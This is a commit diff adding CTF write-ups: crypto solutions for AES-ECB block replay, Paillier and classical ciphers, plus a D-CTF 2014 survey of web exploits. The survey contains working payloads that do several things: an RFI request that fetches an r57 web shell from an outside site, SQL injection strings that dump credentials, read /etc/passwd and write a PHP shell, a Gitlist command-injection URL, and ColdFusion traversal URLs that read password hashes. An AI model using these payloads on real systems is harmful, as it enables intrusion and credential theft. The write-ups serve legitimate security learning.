docs: Clean up resources for Hackoctoberfest 2019 (#41)

* Clean up resources for Hackoctoberfest 2019

* 👩🏾‍🦱 Add cloud hacking readme
This commit is contained in:
Mia von Steinkirch 2019-10-29 18:41:32 -07:00 committed by GitHub
parent 746d808fc0
commit 9ed0254149
458 changed files with 9658 additions and 57 deletions

View File

@ -0,0 +1,213 @@
# 9447's CTF 2014
## On Redis & AES Encryption
### The Client File
The first file was a script **client.py**, where, by using Python's [socket](https://docs.python.org/2/library/socket.html) library, showed how a connection to the server could be made:
```py
import os, socket, struct, sys
from Crypto.Cipher import AES
class EncryptedStream(object):
key = 'this is not the flag nor the key'[:16]
def __init__(self, host, port):
self.sock = socket.socket()
self.sock.connect((host, port))
def send(self, msg):
while len(msg) % 16:
msg += '\0'
iv = os.urandom(16)
aes = AES.new(self.key, AES.MODE_ECB, iv)
enc = aes.encrypt(msg)
self.sock.send(struct.pack('<I', len(enc)))
self.sock.send(enc)
def recv(self, nbytes):
return self.sock.recv(nbytes)
client = '''\
HELLO
SHOW VERSION
SET example This tiny script is basically a RedisStore...
GET example
SHOW KEYS
SET brucefact#1 Bruce Schneier can break elliptic curve cryptography by bending it into a circle
SET brucefact#2 Bruce Schneier always cooks his eggs scrambled. When he wants hardboiled eggs, he unscrambles them
SET brucefact#3 Bruce Schneier could solve this by inverting md5 hash of the flag
ENCRYPTION HEX
MD5 flag
'''
stream = EncryptedStream(sys.argv[1], int(sys.argv[2]))
stream.send(client)
while 1:
data = stream.recv(1000)
if not data: break
sys.stdout.write(data)
```
This client script makes [AES](http://en.wikipedia.org/wiki/Advanced_Encryption_Standard) encrypted packets for a given host and port (the arguments), with the class **EncryptedStream**. It then sends the packets and prints out any received stream.
The snippet also shows an example of a client packet, with some request options (which we will see the response later in the network dump).
### The Server File
The second file was the **server.py** script, which is a [Redis](http://redis.io/) like a database (hence, the *nosql* title). Unlike SQL databases, Redis *maps keys to types of values*. In this challenge, the idea was to recover an entry that had the key **flag** returning the value of the flag.
In the script below, besides creating this database, functions such as: **AES decrypting** (encryption), **MD5** (hashing), and **hex** (encoding) are implemented using Python's library:
```py
import hashlib, os, signal, struct, sys
from Crypto.Cipher import AES
key = 'this is not the flag nor the key'[:16]
db = { }
def md5(data):
return hashlib.md5(data).digest()
def decrypt(data):
iv = os.urandom(16)
aes = AES.new(key, AES.MODE_ECB, iv)
data = aes.decrypt(data)
return data.rstrip('\0')
def reply_plain(message):
sys.stdout.write(message + '\n')
def reply_hex(message):
# This is totally encrypted, right?
sys.stdout.write(message.encode('hex') + '\n')
def main():
global db
reply = reply_plain
datalen = struct.unpack('<I', sys.stdin.read(4))[0]
data = ''
while len(data) != datalen:
s = sys.stdin.read(1)
if not s:
sys.exit(1)
data += s
data = decrypt(data)
commands = data.split('\n')
for cmd in commands:
if not cmd:
continue
if ' ' in cmd:
cmd, args = cmd.split(' ', 1)
if cmd == 'HELLO':
reply('WELCOME')
elif cmd == 'SHOW':
if args == 'VERSION':
reply('NoRedisSQL v1.0')
elif args == 'KEYS':
reply(repr(db.keys()))
elif args == 'ME THE MONEY':
reply("Jerry, doesn't it make you feel good just to say that!")
else:
reply('u w0t m8')
elif cmd == 'SET':
key, value = args.split(' ', 1)
db[key] = value
reply('OK')
elif cmd == 'GET':
reply(args + ': ' + db.get(args, ''))
elif cmd == 'SNIPPET':
reply(db[args][:10] + '...')
elif cmd == 'MD5':
reply(md5(db.get(args, '')))
elif cmd == 'ENCRYPTION':
if args == 'HEX':
reply = reply_hex
reply('OK')
elif args == 'OFF':
reply = reply_plain
reply('OK')
else:
reply('u w0t m8')
else:
reply('Unknown command %r' % (cmd))
if __name__ == '__main__':
signal.alarm(10)
signal.signal(signal.SIGALRM, lambda a,b: sys.exit(0))
main()
```
This script pretty much gives away all the requests that you can issue to inspect the database.
In addition, a crucial detail is to understand how the client encrypts the commands using the [electronic codebook (ECB)](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29) block cipher type. In this type of operation the message is divided into blocks that are encrypted separately ([PyCryptos's AES.MODE_ECB](https://www.dlitz.net/software/pycrypto/api/2.6/)).
### The PCAP File
The last file was a **pcap** dump. When opening it with [Wireshark](http://bt3gl.github.io/wiresharking-for-fun-or-profit.html), I verified it was really short, and the content was simply a [TCP handshake](http://www.inetdaemon.com/tutorials/internet/tcp/3-way_handshake.shtml). Right-clicking some packet and selecting *Follow TCP Stream* returned the dump of the connection suggested by the **client.py** script:
![cyber](http://i.imgur.com/2Y6aaW1.png)
However, we see that the database has already an entry for flag:
```
['flag', 'example']
```
The response **4f4b** is **OK** in ASCII, meaning that the switch **ENCRYPTION HEX** was on (it's good to keep in mind that the "encryption" is actually just an encoding in hex, *i.e*, completely reversible).
Finally, our MD5 for the flag was printed as **b7133e9fe8b1abb64b72805d2d97495f**.
As it was expected, searching for this hash in the usual channels (for example [here](http://hash-killer.com/), [here](http://www.md5this.com/), or [here](http://www.hashkiller.co.uk/)) was not successful: *brute force it is not the way to go*.
### Solving the Challenge
It's pretty clear from our **server.py** script that we could craft a direct request to the server to get our flag before it is hashed to MD5. For example, if the request *GET flag*,
```py
elif cmd == 'GET':
reply(args + ': ' + db.get(args, ''))
```
is exactly like *MD5 flag*, without the hashing:
```py
elif cmd == 'MD5':
reply(md5(db.get(args, '')))
```
However, we do not have the AES key used by the server, only an example of communication given by the PCAP file. How do we get to send a **GET flag** message?
The first thing that comes to our minds is to use the network dump to replay the message, re-shaping it somehow to have a *GET flag*. Remember that the blocks have a size of 16, and we see two blocks that are particularly interesting:
```
ION HEX
MD5 flag
```
and
```
edisStore...
GET
```
Now we check how the oracle responds to several types of responses:
```
$ python client.py 54.148.249.150 4479
```
We are able to learn that if we send a **command without arguments** or an **invalid command**, the argument variables (*args*) is not overwritten: it gets the **same args value from the previous valid request**! That's wonderful!
Now the solution is clear:
1. We send the invalid command and a valid command with the argument that we will keep: ```ION HEX\nMD5 flag```.
2. We send the invalid command and command without an argument: ```edisStore...\nGET``` (this will get the last valid argument (*flag*), returning us the flag!).

View File

@ -1,16 +1,6 @@
Title: On Paillier, Binary Search, and the ASIS CTF 2014
Date: 2014-10-13 3:30
Category: Cryptography
Tags: CTF, Paillier, Python, Binary_Search, Oracle, Decimal
# On Paillier, Binary Search, and the ASIS CTF 2014
![](http://i.imgur.com/7LMyBGx.png)
The [ASIS CTF] was last weekend. Although I ended up not playing all I wanted, I did spend some time working on a crypto challenge that was worth a lot of points in the game. The challenge was about a system I never heard about before, the [Paillier cryptosystem].
____
## The Cryptosystem
The challenge was started by netcating to ```nc asis-ctf.ir 12445```:
@ -392,11 +382,6 @@ ASIS_85c9febd4c15950ab1f19a6bd7a94f87
```
Cool, right?
If you think so, all scripts I mentioned are [here].
Hack all the things!
----

View File

@ -0,0 +1,293 @@
# CSAW CTF 2014 - Cryptography 200 - Psifer School
The problem starts with the following text:
> There's no heartbleed here. Why don't we use these ciphers?
>
> nc 54.209.5.48 12345
>
> Written by psifertex
------
## Stage One: Caesar Cipher
#### Connecting to the Server
We start typing the **netcat** command in the terminal:
```sh
nc 54.209.5.48 12345
```
We get the following message back:
> Welcome to psifer school v0.002
>
> Your exam begins now. You have 10 seconds, work fast.
>
> Here is your first psifer text, a famous ancient roman would be proud if you solve it.
>
> psifer text: **wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh**
>
>Time's up. Try again later.
This text gives a cipher ``` wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh``` and the hint *a famous ancient roman would be proud*. That's all we need to decipher it!
#### Frequency Analysis
The famous roman is **Caesar**, and [his cryptographic scheme] is one of the simplest possible. This cipher is also known as **rotation cipher**, because all we do is rotating the letters by some value (the **key**). A modern version of it is called **ROT13**, meaning **rotation by 13 places**. This is a simple letter substitution cipher which replaces each letter with the 13th letter after it in the alphabet. In this case, we say that the *key is 13*.
In our problem, we don't know the key. However, there is a method to circumvent it: we can count how many times each letter appears in the text and then we use some previous knowledge about the frequency of each letter in the English words. For example, in the English language, *e*, *t*, *a*, *o*, and *n* are frequent letters while *z* or *v* is not. This means that we can analyze the frequency of each character to determine what's the most probable rotation key.
To count the frequency of characters in our cipher, we write a snippet that creates a counter [dictionary (hash table)] with all the (lowercase) characters as the dictionary's keys. Note that we could have used Python's [Counter() data-structure] as well. We then iterate through each character in the message, counting their frequency, and returning a sorted list of these values:
```python
import string
def frequency(msg):
# Compute the word frequencies
dict_freq = dict([(c,0) for c in string.lowercase])
diff = 0.0
for c in msg.lower():
if 'a'<= c <= 'z':
diff += 1
dict_freq[c] += 1
list_freq = dict_freq.items()
list_freq.sort()
return [b / diff for (a, b) in list_freq]
```
#### Deciphering the Cipher
Using a [well-known table of word frequency values], we write a snippet that does the following:
1. First, for each of the 26 letters, we subtract its known frequency value from the frequency obtained from our message.
2. Second, we find what is the minimum value from those subtractions. The closest value is the most probable value for the rotation key.
```python
def delta(freq_word, freq_eng):
# zip together the value from the text and the value from FREQ
diff = 0.0
for a, b in zip(freq_word, freq_eng):
diff += abs(a - b)
return diff
def decipher(msg):
# Decipher by frequency
min_delta, best_rotation = 20, 0.0
freq = frequency(msg)
for key in range(26):
d = delta(freq[key:] + freq[:key], FREQ_ENGLISH)
if d < min_delta:
min_delta = d
best_rotation = key
return cipher(msg, -best_rotation)
```
Once we have the key, we just plug it back to the cipher algorithm, inverting the rotation to the other side, with ```cipher(msg, -best_rotation)```. In this cipher function, we iterate through all the character in the message, checking whether it's a letter or a special character. If it is the former case we perform the following operations:
1. We start getting the integer representing the [Unicode] code point of the character.
2. To get its position in the alphabet and we subtract it from the Unicode value of *a*, given by **ord('a')** (this is 97).
3. We add the key value to it to get the (absolute) shift position.
4. Now we need to remember that this cipher is a ring, *i.e*, adding more stuff should always lead to a *spot* within the 26 letters in the alphabet. That's why we apply an [module] operation to this number to get the *relative* position in the letter's table.
5. Finally, we just need the value of the shift to the Unicode of *a* to get the position of the character in the cipher.
6. Remember we are using *-key*, so instead of making a new cipher, we are using the same steps to rotate the cipher to the other side to recover the message.
```python
def cipher(msg, key):
# Make the cipher
dec = ''
for c in msg.lower():
if 'a' <= c <= 'z':
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
else:
dec += c
return dec
```
Bingo! The snippets above lead us to our first answer in this problem:
> the answer to this stage is **supersimple**
Netcating several times can return other similar answers such as **hopeyouautomate** or **easypeesy** or **notveryhard**. They are all correct.
#### Automating the Response
To advance forward, we need to send one of the above answers to the socket. However, we only **have 10 seconds** to do this! It's clear that we need to automate this problem with a script.
We can do this in many ways. In Python, for example, we can use the libraries [telnetlib] or [socket] or even writing our [own netcat script]. We will use the former for this exploit. Let us create a telnet connection with:
```python
from telnetlib import Telnet
PORT = 12345
HOST = '54.209.5.48'
tn = Telnet(HOST ,PORT)
```
In this case, socket reading can be done with ```tn.read_until(b'psifer text: ')```, which reads until a given string is encountered, or ```tn.read_all()```, which reads all data until EOF.
To write a string to the socket we do ```tn.write(mystring.encode() + b'\n')```. Here, the method [encode()] returns an encoded version of the string, *i.e* a translation of a sequence of bytes to a Unicode string.
As a side note, if we had decided to use the [socket] library to create a *TCP socket*, the process would be easy as well:
```python
s = socket(AF_INET, SOCK_STREAM)
s.connect(HOST)
```
Here ```socket.AF_UNIX, socket.AF_INET, socket.AF_INET6``` are constants that represent the address (and protocol) families. The constants ```socket.SOCK_STREAM, socket.SOCK_DGRAM, socket.SOCK_RAW, socket.SOCK_RDM, socket.SOCK_SEQPACKET```represent the socket types.
To read the socket stream we would use commands such as ```s.recv(2048)``` and for writing, we could use ```s.sendall(answer)```.
#### Decrypting and Sending the Answer
Now, back to our problem. After creating the telnet connection, we read whatever comes in:
```python
tn.read_until(b'psifer text: ')
```
We decode and decrypt the text, and then encode it again:
```python
msg_in1 = tn.read_until(b'\n').decode().strip()
dec_msg_in1 = decipher(msg_in1)
answer1 = dec_msg_in1.split()[-1].encode() + b'\n'
```
Finally, we send our answer to the telnet session (the same answer obtained before):
```python
tn.write(answer1)
```
-----------------------------------------
## Stage Two: Offset with Special Characters
The second stage starts with the following message:
> Congratulations, you have solved stage 1. You have 9 seconds left.
>
> Now it's time for something slightly more difficult. Hint, everybody knows it's
> not length that matters.
Together with the hint *length doesn't matter*, we get the following cipher (translated as a Python string variable because of the special characters):
```I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h```
To crack this cipher we need to deal with special characters to find the rotation shift. We proceed with the following steps:
1. We start looping over the length of our message, where for each iteration we create a blank list with the size of the message. This is a bit *space-expensive* and it should be optimized if we needed to scale for larger problems. It's fine for our current problem.
2. We start a second loop, which will tell us about the shifts. This loop iterates again in the length of the message, this time adding the current character to the list we've created before and updated a pointer to the pacing value given in the first loop. Notice that we have a loop inside another, so this solution has *O(n^2) runtime* and it also should be optimized for larger problems.
3. Inside this second loop, we check whether the pacing pointer is larger than the length of the message, and if this is the case, we register it in a shift counter. The former pointer receives the value of this shift. This is the end of the second loop.
4. Back to the first loop, we add all the characters so far from our list into the message string. But when should we stop doing this? Until we make sure that had a rotation that produces real words. I tried a few common words, and 'you' worked just fine!
```python
def solve2(msg):
# Shift cypher, but dealing with special characters
for j in range(2, len(msg)):
dec_msg = ['0'] * len(msg)
idec_msg, shift = 0, 0
for i in range(len(msg)):
dec_msg[idec_msg] = msg[i]
idec_msg += j
if idec_msg > len(msg) - 1:
shift += 1
idec_msg = shift
dec_msg = "".join(dec_msg)
if "you" not in dec_msg: continue
return dec_msg
```
After decoding this stage's cipher we get the key for the next stage, which is then sent back through the socket:
> I hope you don't have a problem with this challenge. It should be fairly straight forward if you have done lots of basic crypto. The magic phrase for your efforts is "**not not wrong**". For your efforts, you will get another challenge!
----
## Stage Three: Vigenere Cipher
The next message lets us know that we are close to the end:
> Congratulations, you have solved stage 2. You have 9 seconds left.
> Last one.
And comes with the following cipher:
```
MVJJN BQXKF NCEPZ WWVSH YFCSV JEEBB UVRMX HKPIE PMMVZ FOPME ZQIIU EUZZW CGHMV BKBTZ BBHVR MVTQP ENXRM HIRNB WTGDZ CFEDS TKBBW HBFDI KILCM MUUPX WUNIN PWPFJ IEZTP MVQBX ACVKN AEMPV KQXAB ZMDUD ILISV NHKBJ FCIMW HTUVR MNNGU KIFED STLLX XAOUN YVEGV BEXEI BHJNI GHXFI FQFYV VXZFE FXFFH OBVXR MVNLT NHUYY FEZWD GBKEL SGFLM LXBFO NEIOS MZHML XAJUX EIKWH YNAIK SOFLF EEKPI XLSDB PNGHV XHFON MSFOL VMNVX HIRNB XBGTF FOEUZ FZMAS NZEGL HFTPM PDNWM DVKCG WHAFE OKWXF ZIBRQ XCSJI FIMVJ EAFEK MIRXT PBHUC YEEFP MZNMP XZBDV EMMHM VFTQU ABISA EWOMZ NMPXZ BDVPL HGFWF XISSX RMPLB HFRML RHKJU IGXPO OKNHQ TYFKB BWAOS UYKXA OOZNG IXRTK IUIBT ZFOOI LCMMY WEECU FZLMF DMVWK CIHPT BTPES OXYLC HIQII UEUZZ RFKIT RZYUO IMVFT IWITB ENCEP UFFVT XVBUI KNAVH IHYCM MYWUY YETLA PJNHJ MVFGF TMGHF ONBWL HBKCV EMSBT BHJMV FCYOI EGJDH HXTAB JIVLB GUKBX JNBOP NAMGU JJNAE MRFGY GHBBH FHPLB QIIUG HHALV SRSNU FKNAE MDPVG FMZVU SYXBT QUCSM LXFJX BMSYT TVNMS LIDTY LWY
```
This is a **[Vigenere Cipher]**, which is basically several Caesar ciphers in sequence, with different shift values, given by a key-word. Finding these shifts when we don't know the key can be done by writing the alphabet 26 times in different rows. In this case, each alphabet is shifted cyclically to the left compared to the previous alphabet (26 Caesar ciphers).
Although we could use some [online Vigenere cracker] to extract the flag from this text, we will instead write a code. We use Python's library [pygenere], which has the methods ```crack_message()``` to decipher the message and ```crack_codeword()``` to find the key (useful because we don't have the key). We then send our cipher to the following function:
```python
def solve3(msg):
key = VigCrack(msg).crack_codeword()
dec_msg = VigCrack(msg).crack_message()
dec_msg = dec_msg.replace(" ", "")
return key, dec_msg
```
This will give us the **key = TOBRUTE** and the deciphered text. After fixing the spaces between the words, we get:
```
THIS TIME WE WILL GIVE YOU MORE PLAINTEXT TO WORK WITH YOU WILL PROBABLY FIND THAT HAVING EXTRA CONTENT THAT IS ASCII MAKES THIS ONE MORE SOLVABLE IT WOULD BE SOLVABLE WITHOUT THAT BUT WE WILL MAKE SURE TO GIVE LOTS OF TEXT JUST TO MAKE SURE THAT WE CAN HANDLE IT I WONDER HOW MUCH WILL BE REQUIRED LETS PUT THE MAGIC PHRASE FOR THE NEXT LEVEL IN THE MIDDLE RIGHT HERE NORMALWORD OK NOW MORE TEXT TO MAKE SURE THAT IT IS SOLVABLE I SHOULD PROBABLY JUST PUT IN SOME NURSERY RHYME OR SOMETHING MARY HADA LITTLE LAMB LITTLE LAMB LITTLE LAMB MARY HADA LITTLE LAMB WHOSE FLEEZE WAS WHITE AS SNOW I DONT WANT TO MAKE THIS HARDER THAN IT NEEDS TO BE IF YOU VE SOLVED A LOT OF SIMPLE CRYPTO CHALLENGES YOU PROBABLY ALREADY HAVE THE CODE AND WILL BREEZE RIGHT THROUGH IT IF IT HELPS MOST OF THE PLAINTEXT IS STATIC AT EACH OF THE LEVELS I M NOT A MASOCHIST THE FUNNY THING IS THAT DEPENDING ON WHICH RANDOMKEY YOU GET THAT POEM MIGHT BE EXACTLY THE RIGHT OFFSET TO SUCCESSFULLY MOUNT AN ATTACK WE LL SEE LITTLE BIT MORE LITTLE BIT MORE THERE,
```
Reading it carefully give us the last answer for the flag: **NORMALWORD**. Sweet!
## Final Words
If you like this solution, take a look at my [exploit for this problem].
**Hack all the things!**
[his cryptographic scheme]: http://en.wikipedia.org/wiki/Caesar_cipher
[exploit for this problem]: https://github.com/bt3gl/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-CSAW-CTF/cryptography/crypto-200
[scripts from other authors]:https://github.com/bt3gl/CTFs-and-Hacking-Scripts-and-Tutorials/tree/master/2014-CSAW-CTF/cryptography/crypto-200/from_the_net
[well-known table of word frequency values]: http://en.wikipedia.org/wiki/Letter_frequency
[telnetlib]: https://docs.python.org/2/library/telnetlib.html
[socket]: https://docs.python.org/2/library/socket.html
[own netcat script]: https://github.com/bt3gl/CTFs-and-Hacking-Scripts-and-Tutorials/blob/master/Tutorials/Useful_Scripts/netcat.py
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.php
[Vigenere Cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
[online Vigenere cracker]: http://smurfoncrack.com/pygenere/
[dictionary (hash table)]: https://docs.python.org/2/tutorial/datastructures.html#dictionaries
[Counter() data-structure]: https://docs.python.org/2/library/collections.html#collections.Counter
[ord()]: https://docs.python.org/2/library/functions.html#ord
[module]: http://en.wikipedia.org/wiki/Modulo_operation
[Unicode]: http://en.wikipedia.org/wiki/Unicode
[encode()]: https://docs.python.org/2/library/stdtypes.html#str.encode

File diff suppressed because it is too large Load Diff

View File

@ -1,7 +1,6 @@
#Networking-100: Big Data
# Networking-100: Big Data
This is the only networking problem, and it is only 100 points, so it turned out to be very easy.
The problem starts with the following text:

View File

@ -126,9 +126,7 @@ while True:
# flag{trust_is_risky}
```
Yaaay! The flag is **trust_is_risky**! Easy!
**Hack all the things!**
The flag is **trust_is_risky**! Easy!
[uncompyle2]: https://github.com/gstarnberger/uncompyle

View File

@ -0,0 +1,381 @@
# Exploring D-CTF Quals 2014's Exploits
## Vulnerabilities
### Remote File Inclusion and Local File Inclusion Vulnerabilities
In [Remote File Inclusion] (RFI) an attacker can load exploits to the server. An attacker can use RFI to run exploits in both server and client sides. PHP's [include()](http://php.net/manual/en/function.include.php) is extremely vulnerable to RFI attacks.
[Local File Inclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) (LFI) is similar to RFI but only files that are currently in the server can be included. This type of vulnerability is seemed in forms for file uploading (with improper sanitation).
An example of RFI exploitation is the case where the form only accepts some type of extensions (such as JPG or PNG) but the verification is made in the client side. In this case, an attacker can tamper the HTTP requests to send shellcode (with PHP extension, for example). I've shown examples of this attack in the [Natas post]. There I've explained that the trick was to rename a PHP shell code to one of these safe extensions.
[Remote File Inclusion]: http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion
### TimThumb and LFI
[TimThumb] is a PHP script for manipulating web images. It was recently [discontinued because of security issues].
With TimThumb 1.33, an attacker is able to upload a shell by appending it to an image. All she needs to do is to have it in some online subdomain. TimThumb will store this image in a cache folder and generate an MD5 of the full path of the shell. The last step is to perform an LFI attack with the shell in this folder. Check this [example of LFI exploitation](http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html).
[TimThumb]: https://code.google.com/p/timthumb/
[discontinued because of security issues]:http://www.binarymoon.co.uk/2014/09/timthumb-end-life/
### CMS Mini and RFI
[CMS Mini] is a file system to build simple websites. It has [several vulnerabilities] such as [CSRF], RFI, and [XSS].
[CSRF]: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
[XSS]: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
An example of RFI vulnerability in CMS Mini is explored using curl:
```http
http://
[target/IP]/cmsmini/admin/edit.php?path=&name=../../../../../etc/passwd
```
For more examples of exploits, check [1337day] and [this exploit-db].
[1337day]: http://1337day.com/exploit/3256
[several vulnerabilities]: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-2961
[this exploit-db]: http://www.exploit-db.com/exploits/28128/
[CMS Mini]: http://www.mini-print.com/
### ApPHP and Remote Code Execution
[ApPHP](http://www.apphp.com/) is a blog script. It is known for having [several vulnerabilities], including [remote code execution] (RCE). An example of RCE exploit for ApPHP [can be seen here]. A good start is to check the PHP's [disable_function](http://php.net/manual/en/ini.core.php#ini.disable-functions) list for stuff to hacker the server.
[several vulnerabilities]: http://www.exploit-db.com/exploits/33030/
[remote code execution]: https://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution
[can be seen here]: http://www.exploit-db.com/exploits/33070/
In this CTF, the challenge was to find what was not in that list. For instance, it was possible to use [$_POST](http://php.net/manual/en/reserved.variables.post.php) and [$_COOKIE](http://php.net/manual/en/reserved.variables.cookies.php) to send strings to functions such as [scandir()](http://php.net/manual/en/function.scandir.php) and [get_file_contents()](http://php.net/manual/en/function.file-get-contents.php):
```http
GET Request: ?asdf);print_r(scandir(implode($_COOKIE))=/
Cookie: 0=include
```
In addition, with a writable directory we can drop a shell in the server (you can use script-kiddies scripts like [r57 shell.net](http://www.r57shell.net/), but in real life, keep in mind that they are super uber [backdoored](http://thehackerblog.com/hacking-script-kiddies-r57-gen-tr-shells-are-backdoored-in-a-way-you-probably-wouldnt-guess/#more-447)).
```http
Post Request: 0=include/myfile.php
Cookie: 0=http://www.r57shell.net/shell/r57.txt
```
### Gitlist and Remote Command Execution
[Gitlist] is an application to browse GitHub repositories in a browser. The versions up to 5.0 are known for [allowing remote attackers to execute arbitrary commands via shell], a type of [command injection]. Exploits for this vulnerability can be seen at [hatriot], at [packet storm], at [1337day], and at [exploit-db].
In this CTF, the following command could be used to look for the flag:
```http
http://10.13.37.33/gitlist/redis/blame/unstable/README%22%22%60ls%20-al%60
```
[exploit-db]: http://www.exploit-db.com/exploits/33990/
[1337day]: http://en.1337day.com/exploit/22391
[packet storm]: http://packetstormsecurity.com/files/127364/Gitlist-Unauthenticated-Remote-Command-Execution.html
[hatriot]: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
[command injection]: http://cwe.mitre.org/data/definitions/77.html
[allowing remote attackers to execute arbitrary commands via shell]: http://www.websecuritywatch.com/arbitrary-command-execution-in-gitlist/
[Gitlist]: http://gitlist.org/
### LibreOffice's Socket Connections
LibreOffice's has a binary [soffice.bin] that takes socket connections on the *port 2002* (in this CTF, in the VPN's localhost).
For instance, the command [unoconv] can be used to convert a file to a LibreOffice supported format. The flag **-c** opens a connection by the client to connect to an LibreOffice instance. It also can be used by the listener to make LibreOffice listen.
From the documentation, the default connection string is:
```http
Default connection string is "socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
```
Therefore, you can connect to the socket and convert some document (such as */flag.txt*) to a PDF for example:
```sh
$ unoconv --connection 'socket,host=127.0.0.1,port=2002;urp;StarOffice.ComponentContext' -f pdf /flag.txt
```
An example of a payload can be seen [here].
[here]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
[unoconv]: http://linux.die.net/man/1/unoconv
[LibreOffice]: http://www.libreoffice.org/
[soffice.bin]: http://www.processlibrary.com/en/directory/files/soffice/66728/
### ColdFusion and Local File Disclosure
[ColdFusion] is an old web application development platform. It carries its own (interpreted) language, **CFM**, with a Java backend.
CFM has scripting features like ASP and PHP, and syntax resembling HTML and JavaScript. ColdFusion scripts have **cfm** and **cfc** file extension. For instance, [Adobe ColdFusion 11] and [Railio 4.2], the two platform accepting CFM, were both released in the beginning of 2014.
The problem is that CFM is [vulnerable to a variety of attacks], including [Local File Disclosure](https://www.owasp.org/index.php/Full_Path_Disclosure) (LFD) and SQL injection (SQLi). Adding this to the fact that ColdFusion scripts usually run on elevated privileged users, we have a very vulnerable platform.
[Railio 4.2]: http://www.getrailo.org/
[ColdFusion]: http://en.wikipedia.org/wiki/Adobe_ColdFusion
[Adobe ColdFusion 11]: http://www.adobe.com/products/coldfusion-family.html
#### SQL Injection (SQLi)
[SQL Injection](https://www.owasp.org/index.php/SQL_Injection) is a classic attack where one injects exploits in a [SQL query](http://technet.microsoft.com/en-us/library/bb264565(v=sql.90).aspx). Vulnerabilities of this type can be spotted in queries such as **index.php?id=1**. I showed some of these exploits in my [Natas post].
In this CTF, these were some of the exploits that could be used:
* List everything in a database, where **0x3a** is the hexadecimal symbol for **:**:
```sql
UNION ALL SELECT 1,concat(username,0x3a,password,0x3a,email),3 FROM cms.users--
```
* See the password file content:
```sql
UNION ALL SELECT 1,LOAD_FILE("/etc/passwd"),3--
```
* Write files and create a PHP shell into **URL/shell.php**, we can use a parameter **x** to takes a parameter to be executed (based on [this]):
```
UNION ALL SELECT 1 "<?php header("Content-Type: text/plain;charset=utf-8"); echo system($-GET["x"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php"--
```
Notice the *trailing pair of hyphens* **--** which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed (it removes the trailing single-quote left over from the modified query). To learn more about how to mitigate SQLi, I recommend [OWASP's SQLi Prevention Cheat Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
) and [this nice guide for SQLi mitigation](http://owtf.github.io/boilerplate-templates/SQLinjection.html) by OWSAP OWTF.
By the way, it's useful in general to know [HTML URL Encoding] to craft these URLs.
[this]: https://github.com/ctfs/write-ups/tree/master/d-ctf-2014/web-400
[HTML URL Encoding]: http://www.w3schools.com/tags/ref_urlencode.asp
### CesarFTP 0.99g and Buffer Overflow
[CesarFTP 0.99g](http://www.softpedia.com/get/Internet/Servers/FTP-Servers/Cesar-FTP.shtml) is an easy-to-use FTP server. It is also known for having several vulnerabilities, including [buffer overflow](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2961).
For example, see this exploit for **Metasploit** from [exploit-db](http://www.exploit-db.com/exploits/16713/) (or [an older one here](http://www.exploit-db.com/exploits/1906/)).
#### File Disclosure of Password Hashes
This vulnerability provides a 30-second window in the Administration panel, which can e use to write a shellcode. The main idea is a [directory traversal] to the **password.proprieties** that can be used to login in the server.
Ingredients of this attack are:
* The target must have ColdFusion administrator available, which is by default mapped to ***CFIDE/administrator/enter.cfm***. If it gets [500], it should be switched to HTTPS.
* At the ColdFusion administrator, verify the version, and then use these injections:
```
(Version 6): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en
(Version 7): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en
(Version 8): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en
(All versions): http://site/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en
```
* Now a shell can be written to a file and added in **Schedule New Task**. See detailed instructions at [blackhatlib], at [infointox], at [gnucitizen], at [kaoticcreations], at [cyberguerilla], at [jumpespjump], and at [hexale].
[jumpespjump]: http://jumpespjump.blogspot.com/2014/03/attacking-adobe-coldfusion.html
[kaoticcreations]: http://kaoticcreations.blogspot.com/2012/11/hacking-cold-fusion-servers-part-i.html
[cyberguerilla]: https://www.cyberguerrilla.org/blog/?p=18275
[vulnerable to a variety of attacks]: http://www.intelligentexploit.com/view-details.html?id=12750
[gnucitizen]: http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
[hexale]: http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html
[infointox]: http://www.infointox.net/?p=59
[directory traversal]: https://www.owasp.org/index.php/Path_Traversal
[500]: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes
[blackhatlib]: http://www.blackhatlibrary.net/Coldfusion_hacking
----
## Useful Tools
### Vulnerability Scanners
Vulnerability scanners can be useful for several problems. For instance, for a PHP static source code analyzer, we can use [RIPS](http://rips-scanner.sourceforge.net/).
